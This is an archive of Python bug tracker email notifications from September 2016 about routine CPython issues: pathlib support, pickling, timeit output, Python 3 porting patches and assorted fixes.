Since better pathlib support in standard library modules has been a focus of 3.6, I'm willing to allow this and the related changes for gzip, tarfile, zipfile, bz2, lzma, and compilall (Issue28225 through Issue28231) if thay introduce no backward incompatibilities, are reviewed, and are pushed in time for 360b2.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28228>
_______________________________________

From report at bugs.python.org  Fri Sep 23 17:31:26 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 23 Sep 2016 21:31:26 +0000
Subject: [issue28228] imghdr does not support pathlib
In-Reply-To: <1474489313.4.0.716838576472.issue28228@psf.upfronthosting.co.za>
Message-ID: <1474666286.7.0.273741907036.issue28228@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
Removed message: http://bugs.python.org/msg277300

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28228>
_______________________________________

From report at bugs.python.org  Fri Sep 23 17:32:32 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 23 Sep 2016 21:32:32 +0000
Subject: [issue28225] bz2 does not support pathlib
In-Reply-To: <1474443304.08.0.670640094883.issue28225@psf.upfronthosting.co.za>
Message-ID: <1474666352.69.0.639049339513.issue28225@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
nosy: +ned.deily
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28225>
_______________________________________

From report at bugs.python.org  Fri Sep 23 17:32:53 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 23 Sep 2016 21:32:53 +0000
Subject: [issue28226] compileall does not support pathlib
Message-ID: <1474666373.82.0.405503938664.issue28226@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
nosy: +ned.deily
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28226>
_______________________________________

From report at bugs.python.org  Fri Sep 23 17:33:29 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 23 Sep 2016 21:33:29 +0000
Subject: [issue28227] gzip does not support pathlib
In-Reply-To: <1474446973.31.0.180513637528.issue28227@psf.upfronthosting.co.za>
Message-ID: <1474666409.0.0.375016644222.issue28227@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
nosy: +ned.deily
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28227>
_______________________________________

From report at bugs.python.org  Fri Sep 23 17:34:13 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 23 Sep 2016 21:34:13 +0000
Subject: [issue28229] lzma does not support pathlib
Message-ID: <1474666453.28.0.471473388474.issue28229@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
nosy: +ned.deily
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28229>
_______________________________________

From report at bugs.python.org  Fri Sep 23 17:34:43 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 23 Sep 2016 21:34:43 +0000
Subject: [issue28230] tarfile does not support pathlib
Message-ID: <1474666483.17.0.85712827179.issue28230@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
nosy: +ned.deily
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28230>
_______________________________________

From report at bugs.python.org  Fri Sep 23 17:48:42 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 23 Sep 2016 21:48:42 +0000
Subject: [issue28262] Header folder folds incorrectly causing
 MissingHeaderBodySeparatorDefect
In-Reply-To: <1474665775.15.0.66299435415.issue28262@psf.upfronthosting.co.za>
Message-ID: <1474667322.29.0.074257684127.issue28262@psf.upfronthosting.co.za>


R. David Murray added the comment:

It seems to me this has been reported before, but I couldn't lay hands on the issue in a quick search.  With this description of the problem and example, I think I see what is wrong.  The folding algorithm is probably trying to handle the encoded words one by one instead of joining the ascii-only runs together first.

I'll try to take a look at this this weekend.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28262>
_______________________________________

From report at bugs.python.org  Fri Sep 23 17:57:03 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 23 Sep 2016 21:57:03 +0000
Subject: [issue28240] Enhance the timeit module: display average +- std dev
 instead of minimum
In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>
Message-ID: <1474667823.78.0.705841201847.issue28240@psf.upfronthosting.co.za>


Ned Deily added the comment:

Until we have a consensus on this change and a final, reviewed patch, it is premature to consider inclusion in 3.6.  If there is such prior to 360b2, we can reconsider.

----------
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Fri Sep 23 18:03:33 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 23 Sep 2016 22:03:33 +0000
Subject: [issue27292] Warn users that os.urandom() prior to 3.6 can return
 insecure values
In-Reply-To: <1465639674.0.0.865291084778.issue27292@psf.upfronthosting.co.za>
Message-ID: <1474668213.86.0.829357478042.issue27292@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
nosy:  -ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27292>
_______________________________________

From report at bugs.python.org  Fri Sep 23 18:07:59 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Fri, 23 Sep 2016 22:07:59 +0000
Subject: [issue28250] typing.NamedTuple instances are not picklable Two
In-Reply-To: <1474573506.29.0.553712445703.issue28250@psf.upfronthosting.co.za>
Message-ID: <1474668479.26.0.914017085202.issue28250@psf.upfronthosting.co.za>


Changes by Ivan Levkivskyi <levkivskyi at gmail.com>:


----------
nosy: +levkivskyi

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28250>
_______________________________________

From report at bugs.python.org  Fri Sep 23 18:12:26 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 23 Sep 2016 22:12:26 +0000
Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences
In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za>
Message-ID: <1474668746.81.0.0299208696894.issue27923@psf.upfronthosting.co.za>


Ned Deily added the comment:

I agree with Ethan that the PEP needs to be accepted first and afterwards, unless there is a very strong case made quickly, it would not qualify for a late-feature exemption for 360b2.

Nick, any updates on the status of PEP 467?

----------
nosy: +ncoghlan, ned.deily
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27923>
_______________________________________

From report at bugs.python.org  Fri Sep 23 18:16:27 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 23 Sep 2016 22:16:27 +0000
Subject: [issue28184] Trailing whitespace in C source code
In-Reply-To: <1474073035.4.0.752681458334.issue28184@psf.upfronthosting.co.za>
Message-ID: <1474668987.64.0.465545106977.issue28184@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28184>
_______________________________________

From report at bugs.python.org  Fri Sep 23 19:23:01 2016
From: report at bugs.python.org (Roy Williams)
Date: Fri, 23 Sep 2016 23:23:01 +0000
Subject: [issue28263] Python 2.7's `-3` flag warns about __eq__ being
 implemented without __hash__ even if __hash__ is never accessed.
Message-ID: <1474672981.19.0.9186313262.issue28263@psf.upfronthosting.co.za>


New submission from Roy Williams:

I'm finding the -3 flag to be super useful at identifying problems with code when porting to Python 3.  One of the most common failures, however, is "DeprecationWarning: Overriding __eq__ blocks inheritance of __hash__ in 3.x".  While implementing __eq__ without implementing __hash__ is very much an anti-pattern, this warning would be much less noisy if it could be thrown at time of access (like the __getslice__ warning) instead of time of declaration. 

See Also:
https://github.com/nedbat/coveragepy/pull/17
http://bugs.python.org/issue28260

----------
components: Interpreter Core
messages: 277305
nosy: Roy Williams
priority: normal
severity: normal
status: open
title: Python 2.7's `-3` flag warns about __eq__ being implemented without __hash__ even if __hash__ is never accessed.
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28263>
_______________________________________

From report at bugs.python.org  Fri Sep 23 22:36:40 2016
From: report at bugs.python.org (George Fagin)
Date: Sat, 24 Sep 2016 02:36:40 +0000
Subject: [issue28264] Python 3.4.4 Turtle library - Turtle.onclick events
 blocked by Turtle.stamp
Message-ID: <1474684600.08.0.523173866083.issue28264@psf.upfronthosting.co.za>


New submission from George Fagin:

After a Turtle.stamp() command, turtle click notifications enabled via Turtle.onclick() are blocked until subsequent turtle commands are issued. Examples of the functions that re-enable click notifications include undo(), fd(0), left(0), etc. I've verified this behavior on both Python 3.4.2 (my Raspberry Pi) and Python 3.4.4 (my Windows 7 laptop).

The attached sample code demonstrates that it's not difficult to work around the issue by using one of those functions immediately after any Turtle.click(), but I'd think that should be handled by the library to it's transparent to the user.

----------
components: Library (Lib)
files: click_and_stamp.py
messages: 277306
nosy: George Fagin
priority: normal
severity: normal
status: open
title: Python 3.4.4 Turtle library - Turtle.onclick events blocked by Turtle.stamp
type: behavior
versions: Python 3.4
Added file: http://bugs.python.org/file44800/click_and_stamp.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28264>
_______________________________________

From report at bugs.python.org  Fri Sep 23 22:40:18 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 24 Sep 2016 02:40:18 +0000
Subject: [issue28188] os.putenv should support bytes arguments on Windows
In-Reply-To: <1474123387.93.0.730915025745.issue28188@psf.upfronthosting.co.za>
Message-ID: <1474684818.54.0.975556690224.issue28188@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
components: +Windows
nosy: +paul.moore, steve.dower, tim.golden, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28188>
_______________________________________

From report at bugs.python.org  Fri Sep 23 23:28:06 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 24 Sep 2016 03:28:06 +0000
Subject: [issue28143] ASDL compatibility with Python 3 system interpreter
In-Reply-To: <1473843180.28.0.653391200015.issue28143@psf.upfronthosting.co.za>
Message-ID: <1474687686.85.0.805606501051.issue28143@psf.upfronthosting.co.za>


Martin Panter added the comment:

That would get the patch mostly working with 2.6+. Is it okay to break Python < 2.6 support? I know there was an OS X Tiger buildbot using 2.5 until recently; see Issue 28039.

Personally, I would rather focus on the problems with make dependencies, build configuration, etc, rather than changing what versions of Python the code runs on.

Regarding CRLFs on Windows: the existing code opens files in binary mode (wb), so Windows will not translate \n into CRLF. Changing this behaviour is separate to the goal of Python 3 compatibility. IMO the build process should not change the contents of checked-in files, regardless of whether there is a version control system like Mercurial or Git in use or not. See also Issue 27425.

On the other hand, the Python 3 code does use text mode with CRLF translation, so maybe it is not a big deal. (I never built Python on Windows, so I don?t know.)

+++ b/Parser/spark.py
@@ -171,7 +171,7 @@ class GenericParser:
-    rules = string.split(doc)
+    rules = str.split(doc)

This would read better as doc.split(); see <http://svn.python.org/view?view=revision&revision=55143>.

@@ -825,15 +828,15 @@ class GenericASTMatcher(GenericParser):
-    print '\t', item
+    print('\t', item)
     for (lhs, rhs), pos in states[item[0]].items:
-        print '\t\t', lhs, '::=',
+        print('\t\t', lhs, '::=', end=" ")
. . .
+        print(string.join(rhs[:pos]), end=" ")
+        print('.', end=" ")
+        print(string.join(rhs[pos:]))

The string quoting is inconsistent. Also, I suspect string.join() is not right for Python 3. And you are adding an extra space after the '\t' characters.

For what it?s worth, here are some similar changes made to the Py 3 branch:

r57749: raise syntax
r51578: `. . .` ? repr()
http://svn.python.org/view?view=revision&revision=55329: Unpack tuples inside functions (Malthe?s patch unpacks as the function is called instead); map() ? list comprehension
http://svn.python.org/view?view=revision&revision=55143: Various Py 3 changes
r59154: Write files in text mode
r53189: Avoid has_key()
http://svn.python.org/view?view=revision&revision=55167: xrange() ? range()

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28143>
_______________________________________

From report at bugs.python.org  Fri Sep 23 23:35:33 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 24 Sep 2016 03:35:33 +0000
Subject: [issue28221] Unused indata in
 test_ssl.ThreadedTests.test_asyncore_server
In-Reply-To: <1474421705.12.0.343818942397.issue28221@psf.upfronthosting.co.za>
Message-ID: <20160924033530.24791.88208.834EDF19@psf.io>


Roundup Robot added the comment:

New changeset 4a1e1715efc3 by Martin Panter in branch '2.7':
Issue #28221: Remove unused assignment from test_asyncore_server()
https://hg.python.org/cpython/rev/4a1e1715efc3

New changeset 97ff9934ad2d by Martin Panter in branch '3.5':
Issue #28221: Remove unused assignment from test_asyncore_server()
https://hg.python.org/cpython/rev/97ff9934ad2d

New changeset d8d047217da1 by Martin Panter in branch '3.6':
Issue #28221: Merge SSL test cleanup from 3.5 into 3.6
https://hg.python.org/cpython/rev/d8d047217da1

New changeset 65e83846ed51 by Martin Panter in branch 'default':
Issue #28221: Merge SSL test cleanup from 3.6
https://hg.python.org/cpython/rev/65e83846ed51

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28221>
_______________________________________

From report at bugs.python.org  Sat Sep 24 01:29:58 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 24 Sep 2016 05:29:58 +0000
Subject: [issue28221] Unused indata in
 test_ssl.ThreadedTests.test_asyncore_server
In-Reply-To: <1474421705.12.0.343818942397.issue28221@psf.upfronthosting.co.za>
Message-ID: <1474694998.09.0.137985472665.issue28221@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28221>
_______________________________________

From report at bugs.python.org  Sat Sep 24 03:01:09 2016
From: report at bugs.python.org (Antti Haapala)
Date: Sat, 24 Sep 2016 07:01:09 +0000
Subject: [issue28263] Python 2.7's `-3` flag warns about __eq__ being
 implemented without __hash__ even if __hash__ is never accessed.
In-Reply-To: <1474672981.19.0.9186313262.issue28263@psf.upfronthosting.co.za>
Message-ID: <1474700469.79.0.313000765194.issue28263@psf.upfronthosting.co.za>


Antti Haapala added the comment:

I am very negative to this idea. Correct code in Python **2** would either set `__hash__ = None` or redefine `__hash__` in *any* class that defines `__eq__`. That it just wasn't used like that is no excuse.

This warning is even more important if even Ned Batchelder could have a bug like that in his code.

It will break as soon as someone "realizes" that "hey I can use a set to remove duplicates in my container".

----------
nosy: +ztane

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28263>
_______________________________________

From report at bugs.python.org  Sat Sep 24 03:29:44 2016
From: report at bugs.python.org (Malthe Borch)
Date: Sat, 24 Sep 2016 07:29:44 +0000
Subject: [issue28143] ASDL compatibility with Python 3 system interpreter
In-Reply-To: <1473843180.28.0.653391200015.issue28143@psf.upfronthosting.co.za>
Message-ID: <1474702184.2.0.855090388911.issue28143@psf.upfronthosting.co.za>


Malthe Borch added the comment:

I have updated the patch with requested changes.

Note that the original code also added space after '\t' characters. I have not changed this on purpose.

----------
Added file: http://bugs.python.org/file44801/0001-Allow-make-to-be-run-under-Python-3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28143>
_______________________________________

From report at bugs.python.org  Sat Sep 24 03:43:35 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 24 Sep 2016 07:43:35 +0000
Subject: [issue28250] typing.NamedTuple instances are not picklable Two
In-Reply-To: <1474573506.29.0.553712445703.issue28250@psf.upfronthosting.co.za>
Message-ID: <1474703015.72.0.601767050982.issue28250@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

I don't think this has anything to do with namedtuple; it's true whenever you create a class in an inner scope (rather than at module level). This is by design, and these restrictions are documented: https://docs.python.org/3.6/library/pickle.html#what-can-be-pickled-and-unpickled

For example, running this script:

    import pickle

    def my_func():
        class A:
            pass

        a = A()
        return a

    a = my_func()
    pickle.dumps(a)

produces:

    Traceback (most recent call last):
      File "test.py", line 11, in <module>
        pickle.dumps(a)
    AttributeError: Can't pickle local object 'my_func.<locals>.A'

----------
nosy: +mark.dickinson
resolution:  -> not a bug
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28250>
_______________________________________

From report at bugs.python.org  Sat Sep 24 04:03:24 2016
From: report at bugs.python.org (Kay Hayen)
Date: Sat, 24 Sep 2016 08:03:24 +0000
Subject: [issue27942] Default value identity regression
In-Reply-To: <1472834737.57.0.822205168917.issue27942@psf.upfronthosting.co.za>
Message-ID: <1474704204.33.0.928980020164.issue27942@psf.upfronthosting.co.za>


Kay Hayen added the comment:

Same with 3.6b1, still present.

----------
nosy: +kayhayen

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27942>
_______________________________________

From report at bugs.python.org  Sat Sep 24 04:26:39 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sat, 24 Sep 2016 08:26:39 +0000
Subject: [issue28207] SQLite headers are not searched in custom locations
In-Reply-To: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>
Message-ID: <1474705599.28.0.48836829679.issue28207@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Could you try this:

CPPFLAGS=-I/home/<username>/local/include/ LDFLAGS=-L/home/<username>/local/lib bash -x /usr/bin/pyenv install 3.5.2

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Sat Sep 24 07:16:31 2016
From: report at bugs.python.org (Ned Batchelder)
Date: Sat, 24 Sep 2016 11:16:31 +0000
Subject: [issue28263] Python 2.7's `-3` flag warns about __eq__ being
 implemented without __hash__ even if __hash__ is never accessed.
In-Reply-To: <1474672981.19.0.9186313262.issue28263@psf.upfronthosting.co.za>
Message-ID: <1474715791.81.0.774855917889.issue28263@psf.upfronthosting.co.za>


Changes by Ned Batchelder <ned at nedbatchelder.com>:


----------
nosy: +nedbat

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28263>
_______________________________________

From report at bugs.python.org  Sat Sep 24 07:16:53 2016
From: report at bugs.python.org (Ned Batchelder)
Date: Sat, 24 Sep 2016 11:16:53 +0000
Subject: [issue28260] mock._Any and mock._Call implement __eq__ but not
 __hash__
In-Reply-To: <1474653593.44.0.212461111184.issue28260@psf.upfronthosting.co.za>
Message-ID: <1474715813.45.0.341898433092.issue28260@psf.upfronthosting.co.za>


Changes by Ned Batchelder <ned at nedbatchelder.com>:


----------
nosy: +nedbat

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28260>
_______________________________________

From report at bugs.python.org  Sat Sep 24 08:26:24 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 24 Sep 2016 12:26:24 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474719984.95.0.956017151685.issue28253@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Having additional tests is always nice. After writing tests we can search whether there is other solution.

AFAIK the dummy data needs also the day attribute.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Sat Sep 24 08:31:05 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 24 Sep 2016 12:31:05 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474720265.04.0.941406308043.issue28253@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The problem with year 1 was reported in issue26650.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Sat Sep 24 08:58:40 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 24 Sep 2016 12:58:40 +0000
Subject: [issue28263] Python 2.7's `-3` flag warns about __eq__ being
 implemented without __hash__ even if __hash__ is never accessed.
In-Reply-To: <1474672981.19.0.9186313262.issue28263@psf.upfronthosting.co.za>
Message-ID: <1474721920.96.0.564783869059.issue28263@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Antti is correct. Please add __hash__ = None to your class to silence the warning.

----------
nosy: +christian.heimes
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28263>
_______________________________________

From report at bugs.python.org  Sat Sep 24 10:29:23 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 24 Sep 2016 14:29:23 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
In-Reply-To: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>
Message-ID: <20160924142920.34552.26813.05806876@psf.io>


Roundup Robot added the comment:

New changeset 92f4ce2d5ebb by Mark Dickinson in branch '3.5':
Issue #28203: Fix incorrect type in error message from complex(1.0, {2:3}). Patch by Soumya Sharma.
https://hg.python.org/cpython/rev/92f4ce2d5ebb

New changeset a2d93e6bcbcf by Mark Dickinson in branch '3.6':
Issue #28203: Merge from 3.5
https://hg.python.org/cpython/rev/a2d93e6bcbcf

New changeset 9790bc211107 by Mark Dickinson in branch 'default':
Issue #28203: Merge from 3.6
https://hg.python.org/cpython/rev/9790bc211107

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Sat Sep 24 10:32:59 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 24 Sep 2016 14:32:59 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
In-Reply-To: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>
Message-ID: <1474727579.86.0.955432480756.issue28203@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Fixed; thanks. I made a couple of changes:

- Use "argument" rather than "arg", to be consistent with the original code (but admittedly not consistent with the rest of the module, where there doesn't seem to be any consistent choice between "arg" and "argument").
- Reformat C and test code to avoid long lines.
- Slight rearrangement of the C code so that all of the "i" handling is in one place.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Sat Sep 24 13:06:00 2016
From: report at bugs.python.org (R. David Murray)
Date: Sat, 24 Sep 2016 17:06:00 +0000
Subject: [issue25235] EmailMessage.add_attachment() creates parts with
 spurious MIME-Version header.
In-Reply-To: <1443210448.87.0.407287169878.issue25235@psf.upfronthosting.co.za>
Message-ID: <1474736760.08.0.185372655531.issue25235@psf.upfronthosting.co.za>


R. David Murray added the comment:

Barry, would you care to render an opinion on this proposed fix?

----------
stage: patch review -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25235>
_______________________________________

From report at bugs.python.org  Sat Sep 24 13:07:45 2016
From: report at bugs.python.org (Kurt Dally)
Date: Sat, 24 Sep 2016 17:07:45 +0000
Subject: [issue28250] typing.NamedTuple instances are not picklable Two
In-Reply-To: <1474703015.72.0.601767050982.issue28250@psf.upfronthosting.co.za>
Message-ID: <1477714030.5064106.1474736689548@mail.yahoo.com>


Kurt Dally added the comment:

My bad, I searched and found the issue, it very closely fit mine and the pickle module is new to me.? I hadn't yet got through? the details of? pickling.? Thanks for catching that.
Kurt

      From: Mark Dickinson <report at bugs.python.org>
 To: thedomesticdog at yahoo.com 
 Sent: Saturday, September 24, 2016 1:43 AM
 Subject: [issue28250] typing.NamedTuple instances are not picklable Two

Mark Dickinson added the comment:

I don't think this has anything to do with namedtuple; it's true whenever you create a class in an inner scope (rather than at module level). This is by design, and these restrictions are documented: https://docs.python.org/3.6/library/pickle.html#what-can-be-pickled-and-unpickled

For example, running this script:

? ? import pickle

? ? def my_func():
? ? ? ? class A:
? ? ? ? ? ? pass

? ? ? ? a = A()
? ? ? ? return a

? ? a = my_func()
? ? pickle.dumps(a)

produces:

? ? Traceback (most recent call last):
? ? ? File "test.py", line 11, in <module>
? ? ? ? pickle.dumps(a)
? ? AttributeError: Can't pickle local object 'my_func.<locals>.A'

----------
nosy: +mark.dickinson
resolution:? -> not a bug
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28250>
_______________________________________

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28250>
_______________________________________

From report at bugs.python.org  Sat Sep 24 13:15:58 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 24 Sep 2016 17:15:58 +0000
Subject: [issue25268] Support pointing frozen modules to the corresponding
 source files, if available.
In-Reply-To: <1443530732.6.0.47195880813.issue25268@psf.upfronthosting.co.za>
Message-ID: <1474737358.53.0.766688466376.issue25268@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

I agree with Marc-Andrew that it's hard to do anything more useful here than "-r" already does, as we can assume the source code won't be available on the target machine - it's the equivalent of having C/C++ debugging symbols available for C/C++ traceback generation.

It may still be worth doing specifically for the sake of _frozen_importlib (as that usually *does* have the importlib._bootstrap code available at runtime), but I think it would be pretty specific to that particular case.

A more generally applicable feature would be a utility to take a traceback of the form created by -r (as shown by Marc-Andre above), and converting that back to a full traceback given a directory structure that matched the layout of the frozen modules.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25268>
_______________________________________

From report at bugs.python.org  Sat Sep 24 13:39:13 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 24 Sep 2016 17:39:13 +0000
Subject: [issue27942] Default value identity regression
In-Reply-To: <1472834737.57.0.822205168917.issue27942@psf.upfronthosting.co.za>
Message-ID: <1474738753.86.0.919236592035.issue27942@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

It would be nice to get this fixed.

----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27942>
_______________________________________

From report at bugs.python.org  Sat Sep 24 13:41:35 2016
From: report at bugs.python.org (INADA Naoki)
Date: Sat, 24 Sep 2016 17:41:35 +0000
Subject: [issue18893] invalid exception handling in Lib/ctypes/macholib/dyld.py
In-Reply-To: <1377946586.23.0.205823706154.issue18893@psf.upfronthosting.co.za>
Message-ID: <1474738895.28.0.757749044866.issue18893@psf.upfronthosting.co.za>


INADA Naoki added the comment:

lgtm

----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18893>
_______________________________________

From report at bugs.python.org  Sat Sep 24 13:41:59 2016
From: report at bugs.python.org (INADA Naoki)
Date: Sat, 24 Sep 2016 17:41:59 +0000
Subject: [issue18893] invalid exception handling in Lib/ctypes/macholib/dyld.py
In-Reply-To: <1377946586.23.0.205823706154.issue18893@psf.upfronthosting.co.za>
Message-ID: <1474738919.67.0.786343566627.issue18893@psf.upfronthosting.co.za>


Changes by INADA Naoki <songofacandy at gmail.com>:


----------
versions: +Python 2.7, Python 3.5, Python 3.6 -Python 3.2, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18893>
_______________________________________

From report at bugs.python.org  Sat Sep 24 13:45:49 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 24 Sep 2016 17:45:49 +0000
Subject: [issue28252] Tuples used before introduction to tuple in tutorial
In-Reply-To: <1474609752.92.0.504291617054.issue28252@psf.upfronthosting.co.za>
Message-ID: <1474739149.32.0.353180312272.issue28252@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

The highly interrelated nature of Python makes it necessary for the early parts of any tutorial to have some forward references.  This doesn't appear to have impaired its usability in practice.

----------
nosy: +rhettinger
resolution:  -> not a bug
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28252>
_______________________________________

From report at bugs.python.org  Sat Sep 24 14:59:29 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 24 Sep 2016 18:59:29 +0000
Subject: [issue21109] tarfile: Traversal attack vulnerability
In-Reply-To: <1396253659.12.0.842636239516.issue21109@psf.upfronthosting.co.za>
Message-ID: <1474743569.61.0.751028215514.issue21109@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
priority: normal -> high
versions: +Python 3.6, Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21109>
_______________________________________

From report at bugs.python.org  Sat Sep 24 15:06:12 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 24 Sep 2016 19:06:12 +0000
Subject: [issue22519] integer overflow in computing byte's object
 representation
In-Reply-To: <1412024585.59.0.0929794410107.issue22519@psf.upfronthosting.co.za>
Message-ID: <1474743972.57.0.976965199835.issue22519@psf.upfronthosting.co.za>


Christian Heimes added the comment:

The code doesn't crash any more. It took me more than 5 GB of resident memory and about 90 CPU seconds to reproduce the circumstances of the overflow.

----------
nosy: +christian.heimes
resolution:  -> fixed
status: open -> closed
type: security -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22519>
_______________________________________

From report at bugs.python.org  Sat Sep 24 15:07:29 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 24 Sep 2016 19:07:29 +0000
Subject: [issue22187] commands.mkarg() buggy in East Asian locales
In-Reply-To: <1407867185.09.0.871560290901.issue22187@psf.upfronthosting.co.za>
Message-ID: <1474744049.23.0.862892959573.issue22187@psf.upfronthosting.co.za>


